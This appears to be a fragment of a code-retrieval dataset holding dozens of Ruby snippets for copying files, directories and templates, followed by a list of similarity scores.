"def proc_dir_toinst(new_dir, root_new_files)\n @log.debug(\"Processing dir: #{new_dir}\")\n app_dir_dst = File.join(@target_app_root_path, @app_root_subfolder)\n old_dest_dir = File.join(app_dir_dst, new_dir)\n if File.directory?(old_dest_dir)\n # old dir backup\n time_form = Time.now.strftime(\"%y%m%d%H%M%S\")\n old_dest_bckdir = \"#{old_dest_dir}_#{time_form}\"\n FileUtils.mv(old_dest_dir, old_dest_bckdir)\n @log.info(\"moved directory #{old_dest_dir} to backup dir #{old_dest_bckdir}\")\n else\n @log.debug(\"#{old_dest_dir} not a directory\")\n end\n # copy source directory in to destination recursively\n src_dir = File.join(root_new_files, new_dir)\n FileUtils.cp_r(src_dir ,old_dest_dir)\n @log.debug(\"Copy dir #{src_dir} to #{old_dest_dir}\")\n end",
"def cp( file )\n src = template / file\n dst = site / file\n\n if test(?e, dst)\n if identical?(src, dst)\n identical(dst)\n return\n end\n\n choice = case options[:collision]\n when :force then :force\n when :skip then :skip\n else force_file_collision?( dst ) end\n\n case choice\n when :force then force(dst)\n when :skip then skip(dst); return\n else raise \"Invalid collision choice: #{choice.inspect}\" end\n else\n create(dst)\n end\n return if pretend?\n\n FileUtils.cp(src, dst)\n end",
"def copy_to(new_path)\n res = conn.put(new_path) do |req|\n req.headers = {\n \"X-Upyun-Copy-Source\" => \"/#{@uploader.upyun_bucket}/#{path}\",\n \"Content-Length\" => 0,\n \"Mkdir\" => \"true\"\n }\n end\n\n check_put_response!(res)\n\n File.new(@uploader, @base, new_path)\n rescue ConcurrentUploadError\n retry\n end",
"def copy_module (path, name)\n module_path = File.join(path, name)\n puts module_path\n mkdir_p module_path\n copy_all_but_fixtures('.', module_path)\nend",
"def cp srcpath, dstpath\n end",
"def prepare_tmpdirs(data)\n data[:files].each do |file|\n targetdir = File.join(@workingdir, File.dirname(File.expand_path(file)).gsub(@package.target_path, \"\"))\n FileUtils.mkdir_p(targetdir) unless File.directory? targetdir\n FileUtils.cp_r(file, targetdir)\n end\n end",
"def create_project(tx)\n Installer.copy(tx, \"#{@service_dir}/pieces/public\", get_path(:web))\n true\n end",
"def copy_test_files\n if options.deep_symbolize_keys[:test_framework] == 'minitest'\n template \"#{TEMPLATES_DIR}/test/test_helper.rb\", \"#{name}/test/test_helper.rb\"\n template \"#{TEMPLATES_DIR}/test/lib/newgem/test_newgem.rb\", \"#{name}/test/lib/#{name}/test_#{name}.rb\"\n else\n template \"#{TEMPLATES_DIR}/spec/spec_helper.rb\", \"#{name}/spec/spec_helper.rb\"\n template \"#{TEMPLATES_DIR}/spec/lib/newgem/newgem_spec.rb\", \"#{name}/spec/lib/#{name}/#{name}_spec.rb\"\n end\n end",
"def local_copy(tempdir = Dir.mktmpdir, &block)\n tfbase = self.to_s =~ /\\.bz2$/ ? self.basename.to_s.chomp(\".bz2\") : self.basename.to_s\n tfbase.escape_filename\n tmpfile = File.join(tempdir, tfbase)\n # puts tmpfile\n # puts File.exist?(tmpfile)\n File.delete(tmpfile) if File.exist?(tmpfile)\n if self.to_s =~ /\\.bz2$/\n `bunzip2 -k -c '#{self.to_s}' >> '#{tmpfile}'`\n else\n FileUtils.cp(self.to_s, tmpfile)\n end\n\n lc = Pathname.new(tmpfile)\n \n if block\n begin\n yield lc\n ensure\n lc.delete\n end\n\n else\n return lc\n end\n end",
"def copy_item(fname)\n src = source + fname\n if src.directory?\n copy_dir(fname)\n else\n copy_doc(fname)\n end\n end",
"def copy_views\n\t\t\t\tfile_list = get_file_list 'haml'\n\t\t\t\tfile_list.each do |filename|\n\t\t\t\t\tbody = get_url filename\n\t\t\t\t\tfilename = filename.gsub('.haml', '.html')\n\t\t\t\t\tdirname = File.dirname(File.join(@dst, filename))\n\t\t\t\t\tFileUtils.mkdir_p(dirname) unless Dir.exist? dirname\n\t\t\t\t\tsave_file \"#{@dst}/#{filename}\", body\n\t\t\t\t\tlog_action \"Copy #{filename.color(:blue)}\"\n\t\t\t\tend\n\t\t\tend",
"def del_copy_views_dir(template_dir,the_dir)\n\n real_template_dir = Rails.root.join('app/assets/templates/'+template_dir).to_s # /app/assets/templates/ror_cms\n real_view_dir = Rails.root.join('app/views/'+the_dir).to_s # /app/views/[landing,devise,article_single,...]\n\n #view directory\n if Dir.exists?(real_view_dir)\n FileUtils.rm_rf(Dir.glob(real_view_dir+'/*'))\n end\n\n #template directory\n if Dir.exists?(real_template_dir+'/views/'+the_dir)\n FileUtils.cp_r real_template_dir+'/views/'+the_dir+'/.', real_view_dir\n end\n\n end",
"def copy_dir(source, dest)\n files = Dir.glob(\"#{source}/**\")\n mkdir_p dest\n cp_r files, dest\n end",
"def create_site\n files = site_files\n\n # in update mode we only want to update the tasks directory\n if options[:update]\n FileUtils.mkdir_p site unless pretend?\n mkdir 'tasks'\n files['tasks'].sort.each {|file| cp file}\n else\n dirs = files.keys.concat %w[content layouts lib tasks templates]\n dirs.sort!\n dirs.uniq!\n\n # create the directories first\n dirs.each do |dir|\n next if dir =~ %r/^output\\/.*$/\n mkdir dir\n end\n\n # and the create the files under each directory\n dirs.each do |dir|\n next if dir =~ %r/^output(\\/.*)?$/\n files[dir].sort.each {|file| cp file}\n end\n end\n end",
"def copy_directory(source, destination)\n FileUtils.cp_r(FileSyncer.glob(\"#{source}/*\"), destination)\n end",
"def copy_directory(source, destination)\n FileUtils.cp_r(FileSyncer.glob(\"#{source}/*\"), destination)\n end",
"def test_copy_using_cp\n @rogerfile.release(blank: true, cleanup_build: false)\n @project.construct.file \"html/test.txt\"\n @project.release.run!\n\n build_path = @project.release.build_path\n\n assert build_path.exist?\n assert_equal 1, build_path.children.size\n assert_equal build_path + \"test.txt\", build_path.children.first\n end",
"def CreateCopy()\n copy = ProjectPath.new({base: @BasePath, relative: @RelativePath})\n return copy\n end",
"def upload(src,name)\n sudo \"mkdir -p #{god_confd}\"\n utilities.sudo_upload_template src, \"#{god_confd}/#{name}\"\n end",
"def do_into_tmp_module(mod_name, t)\n do_into_tmpdir(proc {\n FileUtils.cp_r fixture_module(mod_name), mod_name\n do_into_dir(mod_name, t)\n })\nend",
"def unpack_to(dir)\n sh \"cp -R #{local_path} #{dir}\"\n end",
"def copy(destination)\n return unless @converted\n \n puts \"Generating #{Rails.root}/tmp/images/#{@full}\"\n puts \"Generating #{Rails.root}/tmp/images/#{@icon}\"\n \n FileUtils.cp(\"#{Rails.root}/tmp/images/#{@full}\", \n \"#{destination}/#{@full}\")\n puts \"Moving #{destination}/#{@full}\"\n \n FileUtils.chmod(0644, \"#{destination}/#{@full}\")\n FileUtils.cp(\"#{Rails.root}/tmp/images/#{@icon}\",\n \"#{destination}/#{@icon}\")\n puts \"Moving #{destination}/#{@icon}\"\n FileUtils.chmod(0644, \"#{destination}/#{@icon}\")\n end",
"def copy_back_from_temporary_clone(clone_dir)\n FileUtils.mkdir_p work_dir\n FileUtils.cp_r clone_dir, work_dir\n end",
"def install_template(path)\n puts \"Installing project template to #{path} ...\"\n template_dir = File.expand_path('../template', __FILE__)\n FileUtils.cp_r(\"#{template_dir}/.\", path)\n end",
"def copy_with_path(src, dst)\n\tsrc_folder = File.basename(File.dirname(src))\n\tnewpath = (dst + src_folder)\n\tFileUtils.mkdir_p(newpath)\n \tFileUtils.cp(src, newpath)\nend",
"def copy(cloud_file, to_path, root=\"auto\")\n payload = {\n root: root,\n from_path: cloud_file.path,\n to_path: to_path\n }\n\n connexion = Dropbox.start(:copy, access_token)\n res = connexion.post do |req|\n req.url \"fileops/copy\"\n req.body = payload\n end\n\n response = format_response(res)\n #tree_cache(response)\n end",
"def copy\n theme_name = @ruhoh.db.config(\"theme\")[\"name\"]\n Ruhoh::Friend.say { cyan \"Theme: (generating '#{theme_name}')\" }\n\n url = @ruhoh.db.urls[\"theme\"].gsub(/^\\//, '')\n theme = Ruhoh::Utils.url_to_path(url, @ruhoh.paths.compiled)\n FileUtils.mkdir_p theme\n\n self.files.each do |file|\n original_file = File.join(@ruhoh.paths.theme, file)\n compiled_file = File.join(theme, file)\n FileUtils.mkdir_p File.dirname(compiled_file)\n FileUtils.cp_r original_file, compiled_file\n Ruhoh::Friend.say { green \" > #{file}\" }\n end\n end",
"def copy_one_file(filename)\n source_name = File.join(source_directory,filename)\n install_name = File.join(install_directory,filename)\n dir_name = File.dirname(install_name)\n \n mkdir_p(dir_name)\n cp(source_name,install_name,:preserve => true)\n end",
"def sync(source_template)\n [ :template_name, :template_type, :template_outfile, :template_rebuild_me, :template_text,\n :template_linked_file, :template_linked_file_mtime, :template_linked_file_size,\n :template_created_on, :template_modified_on, :template_created_by, :template_modified_by,\n :template_build_dynamic ].each do |attribute|\n self[attribute] = source_template[attribute]\n end\n \n # Linked files must be placed in the filesystem appropriately.\n unless self.linked_file.blank?\n blog_root_regex = Regexp.new('(/var/domain/.*/(beta|www))')\n source_blog_root = blog_root_regex.match(source_template.blog.blog_site_path)[1]\n target_blog_root = blog_root_regex.match(self.blog.blog_site_path)[1]\n self[:template_linked_file].gsub!(source_blog_root, target_blog_root)\n end\n \n # Copy templatemaps ONLY if this template has been previously saved.\n unless self.new_record?\n # Delete existing templatemaps.\n self.templatemaps.destroy_all\n \n # Copy templatemaps.\n source_template.templatemaps.each do |source_templatemap|\n self.templatemaps << MovableType::AR::Templatemap.create(self, source_templatemap)\n end\n end\n end",
"def create_site\n # see if the site already exists\n abort \"'#{site}' already exists\" if test ?e, site\n\n # copy over files from the data directory\n files = site_files\n\n files.keys.sort.each do |dir|\n mkdir dir\n files[dir].sort.each {|file| cp file}\n end\n nil\n end",
"def copy_source\n directory('webpack', self.target_path, {\n recursive: true\n })\n end",
"def copy_files_to_current_path()\n require 'fileutils'\n @files.each do |f|\n FileUtils::cp(f,'./')\n end\n end",
"def copy_to(relpath, abspath)\n end",
"def copy_with_path(src, dst, filename)\n FileUtils.mkdir_p(dst)\n FileUtils.cp(src, dst + filename)\nend",
"def copy(from, to)\n FileUtils.mkdir_p(File.dirname(to))\n # Pathname(a_path_to).mkpath # Throw Gem::LoadError (fileutils is not part of the bundle. Add it to your Gemfile.)\n\n # NOTE: Give the path regardless if is a File of Pathname\n path = from.path if from.respond_to?(:path)\n path ||= from\n\n # NOTE: See if a move, or another trick to avoid copy can be done here, for performances matter.\n FileUtils.cp(path, to)\n\n # Clean Tempfile\n from.close if from.respond_to?(:close) # Can be apply to File as well.\n from.unlink if from.respond_to?(:unlink) # Only for Tempfile\n\n nil\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n tempdir = Dir.mktmpdir(\"template-tmp\")\n source_paths.unshift(tempdir + \"/rails/muffi_template\")\n at_exit {FileUtils.remove_entry(tempdir)}\n git clone: [\n \"--quiet\",\n \"https://github.com/abtion/guidelines.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def build_test_template( design_template, file )\n Rails.logger.info 'design_template_test_helper - build_test_template()'\\\n + ' design_template: ' + design_template.to_s\n\n orig_path = design_template.original_file.path.to_s\n Rails.logger.info 'design_template_test_helper - build_test_template()'\\\n + ' orig_path: ' + orig_path\n\n make_output_folder( design_template )\n FileUtils.cp( file.path.to_s, orig_path )\n end",
"def call\n INSTALL_DIRS.each do |dir|\n FileUtils.mkdir_p Karafka.root.join(dir)\n end\n\n INSTALL_FILES_MAP.each do |source, target|\n target = Karafka.root.join(target)\n next if File.exist?(target)\n\n source = Karafka.core_root.join(\"templates/#{source}\")\n FileUtils.cp_r(source, target)\n end\n end",
"def copy_index\n FileUtils.cp File.join(self.dest, \"page1\", \"index.htm\"), \n File.join(self.dest, \"index.htm\")\n end",
"def copy\n if args.dest.instance_of?(Pathname)\n n = args.dest.to_s.delete_prefix(project.write_path(:services).to_s).delete_prefix('/')\n w = project.write_path(:services).join(service.name)\n w.join(Pathname.new(n).split.first).mkpath\n @args = args.merge('dest' => w.join(n).to_s)\n end\n cmd = service.copy(args.src, args.dest)\n Cnfs.logger.info cmd.join(\"\\n\")\n result = command.run!(*cmd)\n raise Cnfs::Error, result.err if result.failure?\n\n # Signal.trap('INT') do\n # warn(\"\\n#{caller.join(\"\\n\")}: interrupted\")\n # # exit 1\n # end\n end",
"def create\n Dir.mkdir dir\n File.symlink Hoboku.project_dir, File.join(dir, 'src')\n vm.write_vagrantfile\n vm.start\n end",
"def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n source_paths.unshift(tempdir = Dir.mktmpdir(\"rails-template-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git :clone => [\n \"--quiet\",\n TEMPLATE_REPO,\n tempdir\n ].map(&:shellescape).join(\" \")\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend",
"def install_template(template_path, destination, options = {})\n # Truncate extension\n tmp_file_path = template_path.gsub(\"/\", \"_\").gsub(/.erb$/, \"\") \n tmp_path = \"/tmp/#{tmp_file_path}\"\n \n options[:user] ||= \"root\"\n \n install_options = []\n install_options << \"-o #{options[:user]}\"\n install_options << \"-m #{options[:mode]}\" if options.has_key?(:mode)\n \n put template.load(template_path), tmp_path \n # TOOD: Ensure directory exists? mkdir -p #{File.dirname(destination)}\n run_via \"install #{install_options.join(\" \")} #{tmp_path} #{destination} && rm -f #{tmp_path}\"\n end",
"def copy(from, to)\n @ctx.cp(@path + from, @path + to)\n end",
"def cp_to(filename, mounted_dest) # Always returns the destination as an explicit location relative to the mount directory\n dest = File.join(@mount_dir, mounted_dest )#, File.basename(filename))\n FileUtils.mkdir_p(dest)\n FileUtils.cp( filename, dest, :preserve => true)\n File.join(dest, File.basename(filename))\n end",
"def copy_yml\n template \"config/regulate.yml\", \"config/regulate.yml\"\n end",
"def copy_to(path)\n raise CommandError, 'Destination exists' if File.exist?(expand path)\n FileUtils.mkdir_p(File.dirname(expand path))\n FileUtils.cp_r(@working_dir, expand(path))\n end",
"def copy_views\n case options[:template_engine].to_s\n when \"haml\"\n verify_haml_existence\n verify_haml_version\n create_and_copy_haml_views\n else\n directory \"app/views/regulate\", \"app/views/regulate\"\n end\n end",
"def copy_to(new_path, permissions=nil, directory_permissions=nil)\n return if self.empty?\n new_path = File.expand_path(new_path)\n\n mkdir!(new_path, directory_permissions)\n copy!(new_path)\n chmod!(new_path, permissions)\n self.class.new({tempfile: new_path, content_type: declared_content_type})\n end",
"def copy_views_directory\n directory 'blogel', 'app/views/blogel'\n say \"[ Blogel ] Views directory copied to your views folder\", :green\n end",
"def perform_file_copy\n\t\tretrieve_target_dir do |target_dir|\n\t\t\tFileUtils.mkdir_p target_dir\n\t\t\tcopy_depdencies_to target_dir\n\t\tend\t\n\tend",
"def copy_or_fetch\n filename_pattern = File.join self.class.source_root, \"*\" #/*.html.#{template_engine}\"\n Dir.glob(filename_pattern).map {|f| File.basename f}.each do |f|\n directory f.to_s, \"app/views/#{f}\"\n end\n end",
"def replicate_dir(f)\n out_original = f.sub($queue,$original)\n out_watermarked = f.sub($queue,$watermarked)\n if !File.exist?(out_original) && !File.exist?(out_watermarked)\n FileUtils.mkdir(out_original)\n FileUtils.mkdir(out_watermarked) \n end\nend",
"def apply_space_template(space)\n parent_space = space.space\n return if parent_space.blank?\n\n template = parent_space.space_template\n return if template.blank?\n\n template.space_template_nodes.each do |n|\n node = n.node\n case node\n when UserFile\n copy_service.copy(node, space.uid)\n when App\n copy_service.copy(node, space.uid)\n else\n raise(\"Space template #{template.id} has Unexpected node #{n.id} of #{node.class} class\")\n end\n end\n end",
"def clone_repo_into_temp_directory\n require \"tmpdir\"\n tempdir = Dir.mktmpdir(REPO_NAME)\n puts \"*** tempdir: (#{tempdir})\"\n\n at_exit { FileUtils.remove_entry(tempdir) }\n\n git clone: [\"--quiet\", REPO, tempdir].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[BRANCH_NAME_REGEX, 1])\n Dir.chdir(tempdir) do\n git checkout: branch\n end\n end\n\n # template_dir\n File.join(tempdir,TEMPLATE_DIR_NAME)\nend",
"def create_base_project\n puts \"creating base project\"\n directory \"templates\", \"#{app_path}\"\n end",
"def generate input_dir, output_dir, templates_dir\n\n backup_output_directory(output_dir)\n metadata = read_input_directory(input_dir)\n create_tree_and_copy_assets(metadata, input_dir, output_dir)\n inflate_content(metadata, metadata, input_dir, output_dir, templates_dir)\n\n # Return metadata, e.g. for RSS Feed\n metadata\n end",
"def copy_assets\n FileUtils.cp_r 'assets/.', 'output/', :preserve => true\nend",
"def with_stabilizer_in_temp_dir\n test_f = File.expand_path(File.dirname(__FILE__)) + \"/import/samples/flame_stabilizer/fromCombustion_fromMidClip_wSnap.stabilizer\"\n in_temp_dir do | where |\n FileUtils.cp(test_f, where + \"/flm.stabilizer\")\n yield(where)\n end\n end",
"def preform_copy_file\n @destination_files.each do |destination|\n copy_file(@sources.pop, destination)\n end\n end",
"def copy_static\n puts \" - \\033[32mCopying\\033[0m static content\"\n static_folder = File.join(@proj_dir, @static_folder)\n FileUtils.cp_r(File.join(static_folder, '/.'), @output_folder) \n end",
"def proc_file_toinst(new_file_hash, root_new_files)\n new_file = new_file_hash[:src]\n dst_file = new_file_hash[:dst]\n @log.debug(\"Processing file: #{new_file}\")\n app_dir_dst = File.join(@target_app_root_path, @app_root_subfolder)\n old_dst_file = File.join(app_dir_dst, dst_file)\n src_file = File.join(root_new_files, new_file)\n # copy file\n FileUtils.cp_r(src_file, old_dst_file)\n @log.debug(\"Copy file #{src_file} to #{old_dst_file}\")\n rescue\n @log.error(\"proc_file_toinst error #{$!}\")\n end",
"def copy\n \n end",
"def ditto dst\n d = Pathname.new(dst)\n if file?\n FileUtils.cp to_s, d.to_s, :verbose => $DEBUG\n return (d.directory?) ? d+basename : d\n else\n d.mkpath\n FileUtils.cp_r to_s + '/.', d.to_s, :verbose => $DEBUG\n return d\n end\n end"
] |
[
"0.7269149",
"0.7085451",
"0.673325",
"0.67251754",
"0.6699637",
"0.6670763",
"0.66683334",
"0.66401684",
"0.66074926",
"0.6568028",
"0.6544095",
"0.65117687",
"0.64691794",
"0.6461981",
"0.64456755",
"0.6428747",
"0.639854",
"0.63642144",
"0.635605",
"0.63129884",
"0.63109124",
"0.62781256",
"0.6228307",
"0.6209809",
"0.6207321",
"0.6205166",
"0.6199544",
"0.6180692",
"0.6179118",
"0.61727",
"0.61631155",
"0.6154873",
"0.6154853",
"0.6148991",
"0.6136477",
"0.61311674",
"0.6106018",
"0.6051246",
"0.59965634",
"0.5981594",
"0.5976141",
"0.5961962",
"0.59605646",
"0.5956502",
"0.5953422",
"0.5949883",
"0.5947877",
"0.5943359",
"0.5941325",
"0.59231144",
"0.590539",
"0.5899076",
"0.5899076",
"0.588911",
"0.58834225",
"0.5877959",
"0.5872781",
"0.58685386",
"0.58664256",
"0.5859879",
"0.58485913",
"0.5840019",
"0.5839026",
"0.583424",
"0.58289057",
"0.58210295",
"0.58121276",
"0.5805953",
"0.58020455",
"0.58014446",
"0.58003443",
"0.5793279",
"0.579204",
"0.578017",
"0.57790935",
"0.57785785",
"0.577337",
"0.5766675",
"0.57550615",
"0.5754709",
"0.5751944",
"0.5745921",
"0.5739613",
"0.5731428",
"0.57299286",
"0.5729316",
"0.5703786",
"0.57032293",
"0.5688203",
"0.5682764",
"0.56810504",
"0.5679308",
"0.5678578",
"0.5677812",
"0.56773967",
"0.56752986",
"0.5673516",
"0.5661945",
"0.56616074",
"0.56611407",
"0.5658696"
] |
0.0
|
-1
|
Record a list of given file copies. The file_list should contain relative pathnames from the talia root directory.
|
def process_files(manifest, file_list, options = {})
file_list.each do |file|
if(File.directory?(file_root(file)))
manifest.directory(file)
else
manifest.file(talia_root(file), file, options)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def files=(list)\n @files = makelist(list)\n end",
"def files(*list)\n @files.concat(makelist(list)) unless list.empty?\n @files\n end",
"def write_file_list\n if EventMachine.reactor_thread? || !@update_lock.locked?\n raise 'Should not write file list in reactor thread or without' \\\n ' the local list lock!'\n end\n\n FileUtils.mkdir_p config.config_dir\n @local_file_list.root['CID'] = SecureRandom.hex(12).upcase\n output = @local_file_list.to_s(:indent => true)\n Bzip2::Writer.open(local_file_list_path, 'wb') { |f| f << output }\n @share_size = nil\n\n output = Marshal.dump([@local_file_info, @shared_directories])\n File.open(cache_file_list_path, 'wb'){ |f| f << output }\n end",
"def file_list\n end",
"def file_list\n @file_list\n end",
"def generate_file_list\n self.file_list = Concurrent::Array.new\n targets.each do |target|\n add_target(target)\n end\n end",
"def process_file_list(file_list)\n file_list.each do |filename|\n File.open(filename) { |f| process(f, filename) }\n end\n end",
"def list\n @file_list.to_a\n end",
"def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end",
"def write_filelist(out_file_list)\n result_list.each{|f| log f}\n File.open(out_file_list, \"w\") do |file|\n result_list.each do |item| \n file << item\n file << \"\\n\"\n end\n log \"File list created #{out_file_list}\"\n end \n end",
"def write_filelist(out_file_list)\n result_list.each{|f| log f}\n File.open(out_file_list, \"w\") do |file|\n result_list.each do |item| \n file << item\n file << \"\\n\"\n end\n log \"File list created #{out_file_list}\"\n end \n end",
"def unique_files(list)\n files = []\n list.each do |entry|\n files << entry unless files.any? { |f| File.identical?(f, entry) }\n end\n files\n end",
"def unique_files(list)\n files = []\n list.each do |entry|\n files << entry unless files.any? { |f| File.identical?(f, entry) }\n end\n files\n end",
"def copy_appl_to_dest(file_list, start_dir, dst_dir)\n num_of_files = 0\n file_list.each do |src_file|\n # name without start_dir\n rel_file_name = src_file.gsub(start_dir, \"\")\n log \"Copy #{rel_file_name}\"\n # calculate destination name\n dest_name_full = File.join(dst_dir, rel_file_name)\n dir_dest = File.dirname(dest_name_full)\n num_of_files = num_of_files + 1\n # make sure that a directory destination exist because cp don't create a new dir\n if !@simulate\n FileUtils.mkdir_p(dir_dest) unless File.directory?(dir_dest)\n FileUtils.cp(src_file, dest_name_full)\n end\n end\n log \"Num of files copied #{num_of_files}\"\n end",
"def file_list(hash)\n\nend",
"def file_list(hash)\n\nend",
"def test_files=(list)\n @test_files = list\n end",
"def copy_list \n\n\tend",
"def loadlist _file, _append\n send_cmd(\"loadlist #{_file} #{_append}\")\n end",
"def test_list_file(basename)\n FilePath.new(build_module.root, \"%s.lists.%s\" % [ name, basename ])\n end",
"def store_files(uuids)\n Uploadcare::FileList.batch_store(uuids)\n end",
"def file_list files\n files.map { |gf| link_to_file(gf) }.join(', ').gsub(/\"/, \"'\")\n end",
"def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"def examineFileList(fileList, alreadyExamined, &block)\r\n fileList.each { |fileName|\r\n # dont examine the same file 2 times\r\n if not alreadyExamined.has_key?(fileName) then\r\n # set that we have seen this file\r\n alreadyExamined[fileName] = true\r\n \r\n # on the first iteration just load all of the files into the foundList\r\n if @firstLoad then\r\n @foundFiles[fileName] = URLWatcher::FoundFile.new(fileName,false)\r\n else\r\n # see if we have found this file already\r\n foundFile = @foundFiles[fileName]\r\n\r\n if foundFile then\r\n if foundFile.isNew? then\r\n block.call(CREATED, fileName)\r\n end\r\n else\r\n # this is a new file for our list.\r\n @foundFiles[fileName] = URLWatcher::FoundFile.new(fileName)\r\n block.call(CREATED, fileName)\r\n end\r\n end\r\n end\r\n }\r\n end",
"def file!\n @file_list = @file_list.select{ |f| File.file?(f) }\n end",
"def copy_files\n require 'ftools'\n @files.inject({}) do |result, file|\n seed = (rand * 1000).to_i\n new_path = \"temp_uploads/#{seed}\" + file[1].path.split('/').last\n File.move(file[1].path, new_path, true)\n result[file[0].to_sym] = new_path\n result\n end\n end",
"def push_files(localpath, remotepath, filelist)\n connect!\n \n remote_paths = filelist.map {|f| File.dirname(f) }.uniq.reject{|p| p == '.' }\n create_remote_paths(remotepath, remote_paths)\n \n filelist.each do |f|\n @connection.put File.join(localpath, f), \"#{remotepath}/#{f}\"\n log \"Pushed file #{remotepath}/#{f}\"\n end\n close!\n end",
"def list_2_file (list,file)\n\t\tputs \"Save list #{list} to plain file #{file}\" if @verbose\n\t\tbegin\n\t\t\tf = File.open(file, \"w\")\n\t\t\tlist.map do |ent|\n\t\t\t\t#ent.strip!\n\t\t\t\t# Append the unix line break\n\t\t\t\tf.write(\"#{ent}\\n\")\n\t\t\tend\n\t\t\tf.close\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for file #{file}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def file_path_list\n @file_path_list ||= self.class.default_file_path_list\n end",
"def filelist\n @filelist ||= begin\n list = common_filelist(super) # Always pick up the parent list\n list\n end\n end",
"def copy_files\n @files.each do |file|\n basename = File.basename file\n FileUtils.cp file, @backup_folder + basename if File.file? file\n FileUtils.cp_r file, @backup_folder + basename if File.directory? file\n end\n end",
"def check_list_file(file, outlist)\n unless File.exists?(file)\n raise \"Can't find file \\\"#{opts.input}\\\"\"\n end\n File.open(file, \"r\").each_line do |line|\n unless line.nil?\n outlist << line.chomp\n end\n end\nend",
"def revise_file_list(list, revisions)\n revisions.each do |revision|\n # include or exclude file or glob to file list\n file = FilePathUtils.extract_path_no_aggregation_operators( revision )\n FilePathUtils.add_path?(revision) ? list.include(file) : list.exclude(file)\n end\n end",
"def list_files\n [].tap do |files|\n remote_files do |file|\n files << file\n end\n end\n end",
"def filelist\n puts_message \"filelist start\" \n\n user = current_user\n\n request = params[:request].force_encoding(\"UTF-8\")\n puts_message \"Requested Path: \" + params[:request]\n \n if user and check_existance_of_path(request) \n if request == nil\n @file_names = 'error'\n elsif request_is_directory?(request)\n fire_the_list(request)\n # @file_names = absolute_path(request)\n elsif request_is_file?(request)\n last = request.split('/').last\n path = absolute_path(request)\n send_file_info(last, request) \n else\n @file_names = 'error'\n end\n else \n @file_names = 'error'\n end\n\n puts_message \"filelist end\" \n \n @output = <<-END\n\n END\n \n if request == \"/images/\"\n @folders = Folder.all(:user_id => current_user.id)\n \n @output << \"photo\" + \"\\n\"\n \n @folders.each do |f|\n @output << f.name + \"\\n\"\n end\n \n @file_names = @output\n end\n \n return @file_names\n\n end",
"def list\n @list ||= PublicSuffix::List::parse(File.new(list_path, \"r:utf-8\"))\n end",
"def filelist_file(origin_name, dist_name, component_name, packages)\n content = {\n \"filelists\" => {\n :@xmlns => XMLNS_MAP[:filelists],\n :@packages => packages.size,\n :package => packages.map { |package|\n {\n :@pkgid => package[:generated_sha],\n :@name => package[\"NAME\"],\n :@arch => package[\"ARCH\"],\n :version => {\n :@epoch => package[\"EPOCHNUM\"],\n :@ver => package[\"VERSION\"],\n :@rel => package[\"RELEASE\"].split(\".\").first,\n },\n :file => (package[\"FILENAMES\"] + package[\"DIRNAMES\"]).map { |dir|\n {:@type => \"dir\", :_content_ => dir}\n },\n }\n },\n },\n }\n args = [origin_name, dist_name, component_name, \"repodata\", \"filelists.xml\"]\n [\n create_file(*args) do |file|\n file.puts generate_xml(content)\n end,\n compress_file(*args),\n ]\n end",
"def extract_filenames(source, filepath, filelist)\n case source.class.to_s\n when 'String'\n filelist << filepath + source\n filepath = ''\n when 'Array'\n source.each do |item|\n extract_filenames(item, filepath, filelist)\n end\n when 'Hash'\n source.each do |key, value|\n filepath << key + '/'\n extract_filenames(value, filepath, filelist)\n end\n end\n filelist\n end",
"def spec_files=(list)\n @spec_files = list\n end",
"def check_list(inlist, outlist)\n p inlist, outlist\n outlist += inlist.split(\":\")\n p outlist\n outlist.map! { |file| File.expand_path(file) }\n outlist.each do |file|\n unless File.exists?(file)\n raise \"Can't find file \\\"#{file}\\\"\"\n end\n end\nend",
"def make_sliced_file(flist)\n flist_sliced = []\n flist.each_with_index do |v, i|\n # 開始時のファイルはスライスしない\n if i == 0\n flist_sliced << v\n else\n tmp_file = \"/tmp/sound_#{i}.mp3\"\n silent_files = (Sound::SILENT_FILE_PATH + \" \") * i\n cmd = \"sox #{silent_files} #{v} #{tmp_file}\"\n result = `#{cmd}`\n flist_sliced << tmp_file\n end\n end\n return flist_sliced\n end",
"def initialize(list_file, target_uri)\n @list_file = list_file\n @target_uri = target_uri\n @expired_src = {}\n @expired_dst = {}\n @update_count = 0\n load\n end",
"def perform(list, file)\n list.import_csv(file)\n end",
"def build_volume_list_file(volume_list, path)\n File.write(path, volume_list.join(\"\\n\"))\n end",
"def copy_files (infiles)\n @log.d(\"Backing up files...\");\n htfiles = [];\n backup_dir = @ht_backup_dir + Time.new().strftime(\"%Y%m%d\");\n infiles.each do |infile|\n ht_file = @ht_dir + infile.split('/').last;\n # Check if file exists in ht00x\n if File.exists?(ht_file) then\n # If so, back it up.\n FileUtils.mkdir_p(backup_dir);\n @log.d(\"cp #{ht_file} #{backup_dir}\");\n if @dry_run == false then\n FileUtils.cp(ht_file, backup_dir);\n end\n end\n # Overwrite with one from memberdata (copy)\n @log.d(\"cp #{infile} #{ht_file}\");\n if @dry_run == false then\n FileUtils.cp(infile, ht_file);\n end\n htfiles << ht_file;\n end\n\n return htfiles;\nend",
"def list(client, current_path)\n\n\tfiles = Dir.glob(\"#{current_path}/files/*\")\n\tclient.puts \"\\nList of Files:\"\n\tfiles.each{ |file|\n\tfile.slice! \"#{current_path}/files/\"}\n\tclient.puts files\n\nend",
"def pull_files(localpath, remotepath, filelist)\n connect!\n filelist.each do |f|\n localdir = File.join(localpath, File.dirname(f))\n FileUtils.mkdir_p localdir unless File.exist?(localdir)\n @connection.get \"#{remotepath}/#{f}\", File.join(localpath, f)\n log \"Pulled file #{remotepath}/#{f}\"\n end\n close!\n end",
